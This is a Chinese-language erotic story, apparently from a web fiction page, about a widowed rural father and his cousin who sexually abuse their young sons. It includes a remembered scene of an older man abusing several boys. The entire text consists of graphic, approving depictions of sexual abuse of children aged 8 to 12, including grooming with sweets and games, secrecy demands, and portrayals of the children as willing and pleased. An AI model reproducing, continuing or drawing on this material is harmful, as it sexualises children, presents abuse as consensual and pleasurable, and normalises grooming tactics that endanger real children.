图片载入中

老实的龙虎豹

特大字】 【大字】 【中字】 【小字

老实的龙虎豹

赵老实姓赵,却并不名老实,只是为人本分、老实,因此村里人都叫他赵老 实。叫久了,倒把他的本名给忘了,以至于老实倒成了他的名,不过人家赵老实 也不介意,由着村里人这样叫他。

俗话说,好人不长命,祸害遗千年,赵老实现在是深深体会到了这句话的真 谛了。自己的婆娘和自己一样,是个安分守己的人,从不招谁惹谁,咋就突然得 了怪病,肚子疼的直打滚,还老吐血。吓得自己连忙将婆娘送到镇上的医院,看 了大半年楞是没看好。最后,婆娘扔下自己和三个儿子,病死在镇上的医院里。

婆娘死了,赵老实却为了给婆娘看病和办丧事,几乎变卖了家里所有值钱的 东西,以至于三个儿子都不得不辍了学。不过,好在赵老实并没欠别人债,家里 还有一亩地,三个儿子又都很懂事,12岁的老大大龙帮着他爹下地干农活,1 0岁的老二二虎帮村里放羊以补贴家用,而8岁的老三小豹则在家里整理家务。 因此,赵老实一家的日子还勉勉强强过得去。

日子一天天的过去了,赵老实开始也有了丧妻男人的难言之隐,那就是,晚 上没有婆娘睡在旁边,自己正常的生理要求无法得到满足。这让赵老实万分难受, 虽说自己为人本分、老实,但毕竟还是个不到40的壮实男人,这份活罪可实在 难熬。当然,自己不是没想过再讨个婆娘,可就这家境,还是算了吧。

这天,赵老实和往常一样,和大龙一起下地干农活,父子两正干的热火朝天 时,忽然听到有人朝这边招唿,赵老实便抬起头看,原来是自己的叔伯兄弟赵栓。 于是,赵老实便让大龙继续干活,而自己则过去和赵栓拉一会儿家常。

这赵栓虽和赵老实是不出五服的叔伯兄弟,但他和本分、老实的赵老实不同, 是村里出了名的二流子,经常惹事生非,村里人在背后都管他叫赵痞子。当然, 如果一定要找出他和赵老实的相同之处,那就是他和赵老实都是死了婆娘的人。

不过,赵栓的婆娘是3年前在去镇上赶集时,被一辆大卡车撞死的,为此, 那卡车司机赔了赵栓一大笔钱。因此,赵栓现在的家境反而不错。但是,赵栓在 村里的名声太臭了,无论是待字闺中的姑娘还是守寡的寡妇,都不愿嫁给他。所 以,赵栓到现在都打着光棍。好在他已经有了个儿子,也不至于绝了后。

两个死了婆娘的男人在一起拉家常,自然很快找到了属于他们的共同话题。 赵栓嘻皮笑脸的问:“怎么样,哥,这没了婆娘的日子过得如何?”

“唉,也就将就着过吧。”

“那你晚上怎么解决问题啊?”

“什么问题啊?”

“俺说哥,你是真不懂还是装不懂啊?当然是指你以前和嫂子晚上干的事, 现在你是怎么解决的?”

“……”

“哥,别不好意思啊,咱们都是死了婆娘的人,说说也没啥拉,你要不说, 就是看不起俺。”

“……好吧,兄弟,俺告诉你,俺现在只能趁没人时,用手解决一下了。对 了,兄弟,你又是咋解决的啊?”

“俺,呵呵,哥,俺告诉你可以,但你要替俺保密。”

“行,俺替你保密。”

“其时,也没什么”,赵栓看了看正在田里干活的大龙,接着说,“也就是 拿俺那小崽子来泻泻火。”

“啥?!”赵老实大吃一惊,“你拿福生泻火?”这福生便是赵栓儿子的小 名。

“哥,别大惊小怪好不好,俺是拿自己儿子泻火。”

“这……这怎么可以啊?”

“咋不可以,儿子是自己的,俺养他那么多年,不用来泻火多浪费。再说, 儿子又不是闺女,弄过后别人也看不出来,要是闺女,俺还不敢碰呢。”

“可……可福生他和大龙一样,才12岁啊,你咋就……再说,这男娃子咋 整啊?”

“呵呵,哥,这就是有儿子的好处,无论小崽子多大,都能整。至于咋整, 呵呵,哥你只要想想咱村的二大爷。好了,说了那么多,俺也该走了,不耽误你 干活了。”说完,赵栓站起身,拍拍屁股上的尘土,走了。而赵老实早已是听的 目瞪口呆,依旧傻傻的坐在原地。

二大爷吗?痞子不提他,自己还真忘了这个早已没了的人呢。赵老实不由的 开始回忆起自己的童年:记得俺当时也就11岁吧,有一次看到13岁的表哥正 在吃糖(要知道,糖对于大西北农村的孩子们来说可是稀罕物),便向表哥讨糖 吃,可表哥不给。看着表哥津津有味的吃着糖,俺便不由的哭了起来。

表哥一看俺哭了,便慌了手脚,连忙说:“哎呀,狗子(赵老实的小名)你 别哭啊,哥不是不给你吃糖,而是哥也没糖了。”

“真的?”俺有些不相信。

“真的,哥啥时骗过你。这样吧,你真要吃糖的话,哥带你去二大爷家,哥 的糖都是二大爷给的。不过,你可要听二大爷的话哦。”

“好。”一听到有糖吃,俺自然一口答应。

于是,表哥领着俺到了村头二大爷家。虽然在村里见过几次二大爷,可这是 俺第一次到二大爷家。进了二大爷家后,发现二大爷家里已有4、5个男娃子, 都是俺认识的,其中一个就是比俺小1岁的痞子。

二大爷一看表哥来了,就笑着说:“小三子(表哥在家里行三),你可来拉, 想死你大爷了。呦,今儿个还带了狗子来啊。”

“是啊,狗子想吃糖,所以俺就带他来了。”

“要吃糖啊,行,大爷有的是糖。不过,狗子,你得先和大爷玩游戏,玩好 后再吃糖,好吗?”

俺听了以后看着这个其实才40多岁,只因未老先衰,看上去象60多岁才 被村里人叫着大爷的人,有些犹豫。表哥一看,连忙捅了俺一下,俺这才答应道: “好!。”

二大爷这时便说:“好了,娃子们,那俺们开始做游戏吧。”话音刚落,表 哥便和其他的男娃子一起解开粗布裤子的裤带,脱下裤子,露出屁股蛋子,然后 一字排开的躺到炕上,小牛子都象憋了尿的样子,向上立立着。

俺当是看到这一幕,具然一时没反应过来,傻傻的站在原地一动不动。二大 爷看到俺这副样子,便笑着说:“你看,大爷都胡涂了,狗子今儿个是头一次来, 还不知道玩什么游戏,小三子,你帮帮狗子。”

表哥听了后,便裤子也不穿的从炕上下来,走到俺面前,一边解俺的裤带, 一边对俺说:“狗子,想吃糖就听话,哥咋做,你也就咋做。”话刚说完,俺便 被表哥脱成了光屁股蛋子。然后,表哥让俺也躺到炕上,他则躺在俺身边。二大 爷见俺们都躺好后,便开始他的游戏了。

只见他来到躺在左边炕头的痞子跟前,把头低下后,一口将痞子的小牛子吞 到嘴里。大约过了5分钟后,俺看到痞子的身子抖了一下,同时,二大爷也吐出 了痞子的小牛子,奇怪的是,痞子的小牛子被二大爷吞到嘴里时是立立着的,吐 出来时,却已变的软软的。二大爷吐出痞子的小牛子后,马上又向躺在痞子旁边 的那个男娃子的小牛子下嘴……

当二大爷来到俺跟前时,俺不由的有些害怕,想躲。躺在俺旁边的表哥好象 知道俺在想什么,便又捅了俺一下,俺就回头看了表哥一眼。就在这档儿,俺的 小牛子便被二大爷吞了下去。

俺感到小牛子在二大爷嘴里湿湿的、热乎乎的、痒痒的,接着一条软棉棉的 动西不断上下裹弄着俺的小牛子,使俺感到更痒了。随后,俺有一种要尿急的感 觉,俺不好意思说出来,就使劲的憋着。最后,俺终于憋不住了,身子一抖,让 他去了。可奇怪的是,俺竟没尿出一滴尿来。只是在身子一抖的时候,那尿急的 感觉转化为了一种难以言语的快感,而俺的小牛子也变的软软的了。

表哥是最后一个被二大爷吞小牛子的。俺发觉二大爷吞表哥小牛子的时间特 别长(其实也就10分钟),而且到最后,表哥的身子抖了好几下,二大爷吐出 表哥小牛子时,嘴边还留出了一些象牛奶般的东西……

等俺们穿好裤子后,二大爷便给了俺们每人两粒糖。等离开时,表哥却让俺 先和其他人一起先回去,他说他还有事儿。于是,俺就和其他人一起先走了。

刚离开二大爷家,痞子便一把拉住俺,对俺说:“哥,你知道小三哥干嘛留 下吗?”

“俺咋知道?”

“那你跟俺来。”说完,便拉着俺熘到二大爷家的后窗旁,在在窗户戳了一 个小洞(大西北农村的窗户都是用纸煳的),让俺往里看。

只见原本已穿好裤子的表哥此时却全身光熘熘的趴在炕上,小屁股撅得高高 的,而二大爷也脱的光熘熘的,跪在表哥身后,挺着立立的牛子就往表哥的屁眼 里钻……

想到这儿,赵老实猛的打了一个机灵,难道痞子说的整儿子就是象二大爷整 表哥那样么?赵老实抬头看了看正在地里干农活的大龙,连忙摇了摇头,把这荒 谬的念头压了下去,站起身,继续干起农活。

当太阳西下之时,赵老实和大龙收工回家了。此时,懂事的小豹早已在家做 好了晚饭,只等爹和哥哥们回来了。而当赵老实和大龙刚踏进家门,给村大队放 羊的二虎也回来了。于是,父子四人便围坐在饭桌旁吃起了晚饭。说到晚饭,其 实也就是红薯饭加老咸菜,这是赵老实一家现在唯一吃得起的东西了。

由于第二天还要早起干活,赵老实一家总是很早就睡的。当赵老实象平时一 样看着三个儿子在炕上脱衣服时,他的双眼却不由自主的往儿子们的胯下看去。 同时身子也感到一阵燥热,自己的裤裆开始变得鼓起来了。赵老实心里一惊,想 忘掉这一切,可耳边突然间又回响起赵栓白天说的那些话,同时脑海中又现出幼 年时那荒唐的一幕。此时的赵老实第一次发觉,男娃子的小牛子是那么的吸引人。

正当赵老实在胡思乱想时,他的三个儿子已脱成光腚钻到被窝里了。于是, 赵老实便乘去关门的当儿,清醒一下头脑,想努力忘掉刚才所见、所想的一切。

好不容易把心绪平静了下来,赵老实才脱衣上炕睡觉。然而,当他钻进被窝 时,身子和睡在旁边的大龙肉贴肉的碰在了一起(由于家里穷到叮当响,所以爷 四个只能睡一张炕,盖一条被子)。这在以前是很正常的事,可今儿个,赵老实 象撞了邪似的,贴着大龙的身子,下身又起了反映,脑子里又开始胡思乱想了。

“儿子是自己的,养这么大,不拿来整那多浪费……”

“不行,这整儿子不是乱伦吗?绝对不行。”

“可要不整,自己这日子可实在是难熬啊!”

“整吧,可这事要让村里人知道,那就再也抬不起头了。”

“不打紧,这儿子不同闺女,整了闺女,日后会被人发觉的,这整儿子,只 要俺不说,儿子不说,就不会有人知道。”

……

就这样,赵老实翻来覆去的睡不着,结果把睡梦中的大龙给惊醒了。大龙揉 揉眼睛,迷迷煳煳的问:“爹,咋还不睡啊?”

“嘘,轻点儿声,别把你弟弟们吵醒了,没事儿,你也快睡吧。”

“爹,你是不是有啥心事啊?说给俺听听。”

“去!屁大点的娃子知道什么?还不快睡。”

“咋不知道?”大龙立马急了,“俺知道,爹是想女人了。”

赵老实被大龙的话着实吓了一跳,这娃子才多大啊,就知道这些。然而,大 龙接下去的话更让他心惊不已。

“爹,俺知道自从娘死后你晚上一直都睡不好。俺常听村里那些叔叔伯伯们 说,男人晚上要没个女人睡在旁边那肯定会睡不着觉的。”

“……”

“爹,其实白天你和栓叔的谈话俺都听见了。”

“啥?!你都听见了?”

“爹,虽然俺不明白栓叔说的话是啥意思,但俺听得出,只要爹整俺,爹就 能睡好觉了。”

“傻娃子,你知道啥是整吗?”

“不知道,但爹想咋整俺,俺都愿意。”

“不……不行,爹不能做这种事,爹怕伤到你。”

“没关系,爹,俺愿意被你整,只要爹能开心,大龙不想让爹难受。”说完, 大龙一个咕碌,拥进了他爹怀里。

这下,赵老实再也把持不住了,嘴里虽然还唠叨着说不行,可手却不听使唤, 自各儿就把大龙搂进了怀里,胯下那东西却早已雄纠纠的挺起来了。大龙感到有 个很烫的硬东西顶在自己的小肚子上,便伸手摸了过去。一摸,就知道这是爹的 牛子,不由好奇的问:“爹,你的牛子咋变得那么粗、那么硬、那么烫啊。”

“这……这是……大龙,你真的愿意让爹整?”赵老实颤抖的问道。

“嗯。”大龙毫不犹豫的回答着。

既然话都说到这份上,赵老实心中原有的理性彻底输给了欲望。妈的,干吧, 人都说:牛子是根棍,操起来不论辈,何况这块肥肉是自己送到嘴边的,怪不得 俺。

于是,赵老实让大龙翻了个身,背对着他,一只手哆哆嗦嗦在大龙的屁股蛋 子上摸索着,寻找着大龙的小屁眼。啊,大龙的皮肤可真粗糙啊,但这也是没办 法的事,12岁的娃子在大太阳底下干粗重的农活,皮肤哪能不糙啊。不过,也 正因为干粗重的农活,这小屁股蛋子上摸上去既结实又饱满。

也许是赵老实第一回干这种事,在大龙的屁股蛋子上摸索了半天才摸准了大 龙小屁眼的所在。于是,赵老实便很笨拙的挺着早就直挺挺的牛子顶在了大龙那 结实圆滚屁股的沟沟里,慢慢的钻进了大龙的身体。大龙嘴里嘶嘶哈哈的唿着气, 赵老实知道他疼了,就心疼的拔出了一骨碌,可大龙偏偏向他爹挺着屁股蛋子, “爹,这就是整吗?别拔出来,俺顶得住。”那声虽然不大,可就象小猫的爪子 一样挠着赵老实的心。赵老实便再也不管啥了,在大龙身上大弄特弄起来,每一 下拽出来必须露出了头,每一下的捅入必插到根儿,把大半年来失去婆娘的欲火 都倾注在大龙的身体里。

大龙感到自己的小屁眼内被塞入了一个又粗又硬又烫的东西,小屁眼象要撕 裂了一般,但大龙却强忍着撕裂般的疼痛,咬紧牙关,不发出一点声音,因为自 己不想让爹扫兴。只有两行眼泪默默的流下脸颊……

那一夜是赵老实这大半年来睡得最香甜的一夜,这一晚他足足整了大龙三次, 当他扒在大龙的身体上睡着时,牛子还插在大龙的腚里……

第二天,当赵老实和大龙在田里干农活时,赵老实依旧沉浸在昨晚大龙的小 屁股蛋子带给他的快乐中,。“奶奶的,想不到,男娃子的小屁眼居然那么紧, 那个紧,连俺的牛子都被夹得有些疼。咂、咂、咂……但那滋味就和当初娃子他 娘给俺开苞时差不离,不,比那滋味更妙不可言……难怪痞子要整他儿子……” 正当赵老实一边干活,一边胡思乱想时,发生了一个小意外,那就是在大龙弯腰 的时候,裤裆破了。

这原本是很正常的事。自从大半年前大龙娘生病后,就没再给三个孩子添过 衣服。这可苦了大龙,要知道,二虎和小豹的衣服穿不下了,可以穿哥哥的,大 龙呢?现在叫他穿他爹的衣服还显得太大,根本不能穿。因此,大龙只能将就的 穿那些对他而言已经显的小的衣服。所以衣服穿破是经常的事。好在他爹还能勉 勉强强打个补丁,让他能继续有衣服穿。至于新衣服,那就别指望一个大男人了。

大龙没有在意自己的裤裆破了,继续干着活。可赵老实看到大龙黝黑滚圆的 屁股蛋子从破了的裤子里露了出来,并由于大龙在干活而一颤一颤的,甚是可爱, 在颤动间,还隐隐约约的露出小屁眼后,又不禁想整大龙了。昨晚既然已经踏出 了乱伦的第一步,现在的赵老实已深陷其中,不能自拔了。

赵老实看了看四周,没有人。便走过去,笑眯眯的对大龙说:“娃子,现在 让爹整你,行吗?”

“爹,昨晚不是整过了吗?你咋又要整了?再说这大白天的……”大龙有些 不情愿,这屁股蛋子还疼着呢。

“爹这不是又熬不住了吗?再说这大白天也没啥要紧的,咱到那片高梁地里 就得了。”

“那……好吧……”大龙勉勉强强的答应着。

赵老实等的就是这句话。他一把拉着大龙钻进田边的高梁地。进了高梁地后, 赵老实便哆哆嗦嗦的把大龙那件补丁叠补丁的粗布衣服脱了下来铺在地上,又哆 哆嗦嗦的给大龙解开裤带脱裤子。大龙则很顺从的让他爹把他脱光腚。然后,赵 老实让一丝不挂的大龙跪在铺在地上的粗布衣服上,弓起腰撅起屁股蛋子。随后, 赵老实也脱掉自己的裤子,伸出双手掰开了大龙那两瓣子象两座小山丘似的饱满 的光腚蛋子,露出屁眼。正当赵老实准备进入时,大龙却用手挡了一下说:“爹, 你的太大了,你抹点啥吧,滑熘滑熘后再整。”

的确,赵老实那玩意儿虽称不上天赋异秉,但对于一个才12岁的小娃子而 言,还是太大了。可以看到,大龙的小屁眼由于昨晚的事,现在还有些肿呢。赵 老实看着有些心疼,可在这高梁地里有啥东西可以抹啊?对了,口水,听老人说, 这口水还是治创伤的良药呢!但赵老实看了看大龙那暗红色的小屁眼,脏脏的, 便有些犹豫。可是,赵老实的下面早已是欲火难耐了,在犹豫片刻后,便将头凑 到大龙的屁股蛋子上,伸出舌头,舔起了大龙的小屁眼。大龙被舔的痒极了,开 始来回不停的扭起光屁股,心里想:被爹舔眼子居然这么痒,还很舒服啊,以后 还要让爹舔……

赵老实耐心的舔了半天,直到大龙的屁眼象一朵花蕾一样的张开了个小口后, 才在手上也吐了两口口水,抹在自己的牛子上,然后,一点点的捅了进去。有了 昨晚的经验,赵老实现在已不那么笨拙了。也许是口水的作用,这一次的进入没 让大龙感到多少痛苦,随之疼痛逐渐被一种麻木所替代。而赵老实也卯足了力气 进出着。如果说,昨晚是由于黑不隆冬的什么也看不见,整的时候不尽兴的话, 那么,现在在大太阳底下可看得真切了。赵老实看到大龙屁眼周围的肉象孩子的 嘴一样在翻动着,每一下的拽出,都把他小屁眼里面嫩红的肉带了出来,每一下 的捅入,又把那嫩红的肉送了回去,这场面叫赵老实心惊肉跳,更加快了频率。 在这天地之间响起了赵老实父子俩肉体的吧唧吧唧声。而大龙也感到了麻木之后 则是一种莫名的快感。终于,赵老实发出一声闷哼,牛子一阵剧烈抽搐后,将一 股发烫的液体冲进了大龙的身体里。

赵老实气喘嘘嘘的从大龙身上爬下来时,大龙也满身大汗,嘴里嘿咻的喘着 粗气,身上一点力气也没有,只能趴在地上。但大龙心里却想:“奇怪,昨晚爹 整俺时,屁股疼极了,今天怎么却不那么疼了,反而麻麻的,还有些怪怪的的感 觉。”大龙不知道,他此时已经有些喜欢上这种事了。

此时赵老实喘着气,看着趴在地上的大龙。当他看到儿子的小屁眼被他整得 一片红肿,小屁眼里面嫩红的肉更被翻了出来,无力的一张一合时,心里充满了 内疚,他得做点什么来补偿一下大龙。赵老实最后觉得大龙一定被自己这个做爹 的整的很疼,所以得让大龙也舒服一下。

可怎么才能让大龙舒服呢?才12岁的小屁孩还挺难办的。对了,当年二大 爷的那一套或许管用。赵老实如此想道,俺当时11岁就……

既然想到了就马上做。赵老实把大龙翻了个身,打量了一下大龙的小牛子。 大龙的小牛子黑黑的,虽然有些短,但是很粗,看起来肥嘟嘟的,两个肥大的肉 蛋子垂在小牛子下,看得赵老实直吞口水,他有生以来第一次觉得将男娃子的小 牛子含到嘴里是件很快乐的事。

没有任何犹豫,赵老实一下就把头埋到了大龙的胯间,将大龙的的小牛子连 同两个肥大的肉蛋子一起吃到了嘴里,把嘴撑的满满的。赵老实感到大龙的的小 牛子在嘴里慢慢变硬、变大了。于是,赵老实便笨拙的用舌头上下舔弄着,结果 大龙的小牛子变得更硬更大了。而大龙则感到一股自己打出生以来从未体会到的 快感从自己的牛子那儿慢慢的扩散开来,扩散至全身……突然,大龙的小牛子在 他爹的嘴里一阵剧烈抽搐(但什么也没出来,毕竟才12岁啊),接着,便如漏 了气的气球一般,立马软了下来。

当赵老实把大龙的小牛子和肉蛋子吐出来时,大龙还沉浸在刚刚舒服和欢快 之中,口里唿唿的喘着气。看着大儿子如此模样,赵老实的下面又有反应了……

这天回家时,赵老实是背着大龙回家的……

从这天以后,赵老实每天都要整大龙。晚上睡觉时自不必说了,就是大白天 地里干活时,赵老实只要一来兴,就要整。日子一长,大龙也习惯了,他反而有 些期待着他爹来整,至于为什么,大龙自己也说不清楚。同时,大龙也找到了规 律,只要他爹先用手摸几下鼻子,再挠几下裤裆,这时就是他爹起兴了。于是大 龙就会乖乖先走进那片高粱地……

时间过得飞快,转眼就要过年了。可赵老实却不那么高兴,外人都以为赵老 实是在为家里穷,没钱过年而发愁,可事实上并非如此。赵老实的不高兴从秋收 之后就开始了。

秋收之后,赵老实和大龙就不用再下地干活了。原本到明年开春之前这段时 间是父子俩难得的休息时间,可对于赵老实而言,也意味着不能在大白天整大龙 了,因为白天家里还有小豹,而外面,高粱早被收割了。虽然晚上依旧可以,但 由于怕惊动二虎和小豹,赵老实不敢有大动作,整的时候束手束脚的,很不过瘾。 就这样,赵老实半吊子的将就过了一个多月。

赵老实过的不踏实,大龙心里也失落落的。如果说先前大龙主动让他爹整是 出于孝心,并且当他爹整他时,心里还害怕被整时的痛苦。那么,现在的大龙在 被整了两个多月后,有了一种被虐待的快感,尤其当他爹那硕大的东西在他屁眼 里跳跃着射出一股股热流时,他就会产生出强烈的亢奋来。大龙虽然想不明白: 痛苦也可以叫人快乐吗?但他却已经迷上了这种事。

如今,赵老实半吊子的将就过了一个多月,使得大龙也失落了一个多月,那 种亢奋很少能感受到了。大龙觉得这样下去可不行,必须想个办法来改变这种状 况。什么办法呢?到外面肯定是不行的。大龙虽然才12岁,但也知道这种事是 见不得人的,知道的人越少越好,所以晚上还是不要惊动弟弟们。而白天家里除 了自己和爹外,还有小弟……对了,只要把小弟也拉下水不就行了吗?

于是,大龙便把自己的想法告诉了他爹。赵老实听了后,着实吓了一大跳。 “这……这咋可以,爹整你,这心里已经很过意不去了,咋能再……”

“爹,俺也不想的啊,他是俺小弟诶!可是,不这么做,俺俩的日子都不好 过啊。”

“臭小子,你是喜欢被爹整了吧?”

“爹!!!”大龙臊红着脸嗔道,“先别说俺。你肯不肯啊?”

“……那……这办法能成吗?”赵老实最后还是受不住内心的诱惑。

“肯定能成,爹。俺小弟他对这可是啥也不懂的。”

……

第二天,赵老实等二虎去放羊后,便也找了个借口出门,临走时没忘了“关 照”大龙和小豹:“今儿个天怪冷的,没事儿就别出去玩了。大龙,你是大哥, 要好好看着你弟弟。”说完,便走了。

赵老实出门后,没走多远,便拐了个弯,回到自家屋后,坐在窗下抽起旱烟, 两耳直起,偷听着屋里的动静。

过了一会儿,赵老实就听到小豹的说话声,“大哥,家里的活俺都做好了, 俺想出去玩。”

“不行,爹不是说今儿个天冷,不许咱们出去玩嘛。”大龙立马否决。

“求你啦,大哥,就出去玩一会儿,俺马上回来的。”

“不行,万一爹一会儿就回来,俺的屁股岂不要挨爹的板子拉?爹可是要俺 看着你的。”

“可呆在家里怪闷得慌……”

“那哥陪你玩。”

“你陪俺玩?大哥,你咋陪俺玩啊?就咱俩个人有啥玩头啊?”

“嘿嘿,哥最近学会了个新玩儿,包你喜欢,想玩吗?不过这玩儿你得保密, 除了爹,对谁也不许说,包括二虎。”

“真的?那俺要玩,俺一定保密。是啥玩儿啊?大哥。”

“别多问,不然就不和你玩了。”

“哦……”

……

“呀!大哥你咋脱俺衣服啊。”

“别多嘴!这玩儿得光着身子才能玩的。”

“哦……呀!大哥,你咋又、又摸俺牛子啊?呀!大哥,别舔,痒、痒死俺 了……”

听到这儿,赵老实觉得到火候了,该到自己登场了。便收起烟袋,起身走到 屋前,推门而入。虽然早有心理准备,可当赵老实进屋时,依然被跃入眼前的一 幕弄得呆了呆。

只见大龙此时背对着他爹,一丝不挂、光熘熘的跪在炕上,结实饱满的小屁 股蛋子撅得高高的,在那腚沟里隐隐约约的露出暗红色的小屁眼。而在大龙的身 体两旁,各伸着两只光光的小脚丫。虽然这两只小脚丫的主人被大龙的身体挡掉 了,但赵老实知道,那是小豹的脚丫子。

虽然赵老实看不到小豹,但小豹却看到了他爹,连忙慌得一边用小手推大龙 的头,一边叫道:“别,大哥,……爹回来了,……咱别玩了。”不知为什么, 小豹觉得这游戏挺臊人的,所以当他看到他爹进屋时,不由的慌了手脚。

大龙其实早知道赵老实进屋了,但他却装作不知道的样子,在小豹用力推搡 下,才把头从小豹的胯间移开。大龙一脸无所谓的表情回头看了看呆立在门口的 赵老实,说道:“啊,爹,你咋这么快就回来啦。”

大龙的这句话让失神的赵老实恢复了神智“恩?……啊,你……你四大叔他 不在家,所以就回来了。”赵老实随口胡诌了一个借口。由于是撒谎,赵老实的 脸有些烧。为了掩盖自己的窘样,赵老实不等俩儿子开口,就问:“你们两个在 干嘛呢?”

“爹,俺和弟弟在玩呢。”

“看你们玩的挺开心的,玩啥呢?”

“恩……就是、就是……就是爹你前几天教俺的那个玩儿啦!”大龙也一时 说不出这是啥玩儿,便把这包袱扔给了他爹。

“俺啥时候教你的,兔崽子。”赵老实不由的在心里暗骂大龙。但到了这当 口,也只有硬着头皮说了:“哦,是在玩……玩……牛牛洗澡啊。”赵老实不得 不又红着脸胡诌一次。赵老实觉得自己今天撒的慌恐怕比这辈子加起来撒的还多。

“咦?!那你们咋又不玩啦?”赵老实厚着脸皮继续故着惊讶的问道。

“就俺和小弟两个人玩太没意思了,你又不让出门,怪闷得慌。”

“这……这样啊,那……那爹和你们一起玩,好吗?”此时,赵老实也豁出 去了。

也不等儿子是否答应,赵老实便走到炕边,一把就把小豹的两腿撇得大开, 随后急不可奈的低下头,一口将小豹那如同花生米般大小的小牛子,连同两颗小 肉蛋吞进了嘴里。唉!赵老实实在是忍不住了。

既然是爹在和自己玩,小豹自然是躺在炕上一动不动,没有一丝的反抗。其 实,小豹心里很纳闷,这尿尿的牛子有啥好玩的,不就痒痒的吗?而且是用嘴来 玩,爹和大哥也不怕脏啊?

正当小豹纳闷时,赵老实的嘴开始吮吸起小豹的牛子,舌头也不停的来回翻 动,小豹的牛子很快便在赵老实的嘴里直直的翘了起来。到底赵老实的嘴在大龙 胯间有了两个多月的经验,其技巧是第一次玩这“嘴”的大龙所不能比的。

赵老实的“努力”很快收到了效果。此时小豹正感受到打出生以来最怪异的 快感,这种怪异的快感是人类最为原始的快感,只是,原本还得再过几年这种感 受才会觉醒,而现在,却被大大的提前了。

小豹觉得,自己的小牛子好象在爹的嘴里化了一般,而且原先的瘙痒被那股 莫名的快感所取代,并随着爹的吮吸,一下、一下的朝全身扩散着、冲击着,自 己的身体在这冲击下,似乎飘了起来,飘向一个无底的深渊……

当赵老实口干舌燥的吐出小豹的牛子时,小豹还依旧沉浸在刚才的快感中。 一边的大龙却早已是等不及了,见他爹把小豹料理好了,便说道:“爹,你和小 弟玩好了,也跟俺玩一会儿吧。”说完,就跪在炕上,撅起了光屁股蛋子。

赵老实也早已是欲火难耐,衣服也不脱,直接就解裤带。赵老实刚把裤带解 开,那早已雄赳赳的大牛子便自个儿从裤子里蹦了出来。赵老实任由裤子退到脚 踝处,伸出双手瓣开大龙的两瓣子屁股,让大龙的小屁眼真切的暴露在眼前后, 便“嘿”的一声,插了进去。由于大龙的屁眼已被赵老实整了好多次,因此现在 已经松了许多,赵老实不抹啥也很轻松的进去了,而大龙也感觉不到多少疼痛了 ……

小豹坐在炕上疑惑的看着,爹和大哥这是在干什么,是在玩儿吗?咋和刚才 不一样啊。于是小豹用他那奶声奶气的声音问道:“爹,你和大哥在干啥啊?”

赵老实正在兴头上,冷不防被小豹这么一问,先是吓了一跳,继而尴尬万分, 一时不知道该怎么回答,总不能说是爹在操你大哥的屁眼吧。可总得给个回答, 否则这娃子非刨根到底不可。

赵老实不得不又再次胡诌道:“哦……恩……这个……爹在和你大龙哥玩呢。”

“这是啥玩儿啊?爹,咋和你刚才和俺玩的不一样啊?”果然,天真的小豹 打算问到底了。

“这个,这个,恩……是不一样,这个……叫‘牛牛钻洞’……”这谎话连 赵老实自己都脸红了。

“噢……”小豹虽然求知欲很强,但毕竟还是个8岁的小娃子,赵老实的谎 话还是蒙住了他。“那,俺也要玩。”看到爹一副很享受的样子,而大哥更是 “舒服”连哈喇子似乎也要流出来了,嘴里甚至发出“啊……啊……”的声音, 小豹认为这玩儿一定比“牛牛洗澡”还好玩。

赵老实看了看小豹,这娃子可比他哥瘦小多了,身上几乎没几两肉。不过, 这娃子却长得象他娘(要知道,赵老实的婆娘活着的时候可是村里的村花),这 小脸蛋让人看了就想亲上两口,长的忒好看了。但赵老实还不想整小豹。这娃子 实在是太小了,整他,良心上实在是过不去。

于是,赵老实一边继续整着大龙,一边伸出一只手,摸了摸小豹那没多少肉 的小屁股蛋子,用一根手指轻轻的碰了碰小豹的小屁眼,笑着说:“豹啊,不是 爹不和你玩,是你还太小,还不能玩这玩儿,等以后你长大后,爹再和你玩好吗? 对了,这玩儿和刚才的‘牛牛洗澡’都是只能跟家里人玩,不可以和外人玩的, 知道了吗?”

“噢,俺知道了。爹,那什么时候你才和俺玩啊?”

“恩……这个……等你的小牛子和你大哥一样大时,爹就和你玩。”赵老实 随口敷衍着,大龙的牛子虽然才刚开始发育,比起成人的要小多了,但比起小豹 的“花生米”,那可大得多了,所以赵老实想以次堵小豹。

“哦,是和大哥一样大啊,那还好,不是和二哥的一样大。”

“????”言者无意,听者有心,小豹那充满稚气的话让赵老实惊了半天。 “豹啊,你……你刚才的意思是……是你二哥的……咳……你二哥的牛子比你大 哥的……大?”

“是啊,二哥的牛子比大哥的大多了。”

“啊?嘿……”惊讶无比的赵老实一个不小心,没控制好节奏,匆忙中达到 了高潮,一股股灼热的浆子射入了大龙的体内……

当赵老实有些懊恼的把牛子从大龙的屁眼里拔出来时,发现小豹正好奇的盯 着大龙的屁眼处看,不由得臊红了脸。为了掩饰自己的窘样,赵老实故意装出比 较严厉的口气,虎着脸问:“看啥呢?小子。”

“不是啊,爹,你咋尿尿啦?还尿在大哥的屁股里了,咦?爹,你的尿尿咋 是粘粘的?你瞧,还连在大哥的屁眼上呢。”小豹一边说,还一边用手指着大龙 的屁眼。

赵老实低头一看,脸顿时骚得更红了。可不,在自己的牛子头上,还垂挂着 一条浆丝,似断非断的样子,浆丝的另一头则正好挂在大龙的屁眼子上。赵老实 的牛子和大龙的屁眼就这样被一条浆丝连在一起来。

大龙也臊红了脸,他不敢回头看,便回手抹了几下,把那根浆丝抹断。而赵 老实则至至吾吾的向小豹解释着:“恩……豹啊……这……这可不是尿。”

“不是尿?那是啥啊?爹?”

“……”赵老实这时真是进退两难,想不解释吧,做爹的还尿炕,而且还尿 在儿子屁股里,这多没面子啊;解释吧,却又不知道该如何开口。

这时,大龙已擦干了屁眼,转过了身子。他见爹正不知该如何是好,便打起 原场:“小弟,这真的不是尿啊,这是爹的牛子吐的口水。”

“真的?那俺的牛子咋吐不出口水啊?”

“傻小子,你还小呢,等你长大了,小牛子变成了大牛子,才吐得出口水, 你看,连你大哥的牛子都还吐不出口水呢。”赵老实有了台阶下,就立马接过茬 来。

“哦,难怪二哥的牛子也能象爹一样,吐出口水来。”小豹很天真的说道。

“????”赵老实又惊了,刚才由于慌张,把那茬给忘了,现在小豹一说, 赵老实立马就又想起来了。只不过,这次赵老实比刚才惊讶的更为厉害了。这也 难怪了,10岁娃子的牛子比12岁的大,这本身已经很让人难以相信了,现在, 10岁的小屁孩居然能射出浆子来,又如何来让赵老实相信呢?此时,赵老实的 脸上大大的写着三个字——不可能!

